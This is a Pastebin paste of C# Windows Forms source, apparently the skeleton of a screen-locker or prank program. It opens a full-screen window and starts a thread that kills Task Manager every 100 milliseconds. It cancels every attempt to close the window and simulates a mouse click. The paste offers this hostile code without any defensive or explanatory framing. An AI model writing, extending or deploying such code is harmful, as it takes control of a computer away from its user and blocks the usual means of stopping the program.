Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Diagnostics;
- using System.Drawing;
- using System.Linq;
- using System.Runtime.InteropServices;
- using System.Text;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- namespace WindowsFormsApplication1
- {
- public partial class Form1 : Form
- {
- [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
- public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint cButtons, uint dwExtraInfo);
- //Mouse actions
- private const int MOUSEEVENTF_LEFTDOWN = 0x02;
- private const int MOUSEEVENTF_LEFTUP = 0x04;
- private const int MOUSEEVENTF_RIGHTDOWN = 0x08;
- private const int MOUSEEVENTF_RIGHTUP = 0x10;
- public Form1()
- {
- InitializeComponent();
- this.Width = Screen.PrimaryScreen.Bounds.Width;
- this.Height = Screen.PrimaryScreen.Bounds.Height;
- Thread t = new Thread(() => { while (true) { if (Process.GetProcessesByName("taskmgr").Length > 0) Process.GetProcessesByName("taskmgr")[0].Kill(); Thread.Sleep(100); } });
- t.Start();
- uint X = (uint)Cursor.Position.X;
- uint Y = (uint)Cursor.Position.Y;
- mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, X, Y, 0, 0);
- }
- private void Form1_FormClosing(object sender, FormClosingEventArgs e)
- {
- e.Cancel = true;
- }
- private void pictureBox1_Click(object sender, EventArgs e)
- {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement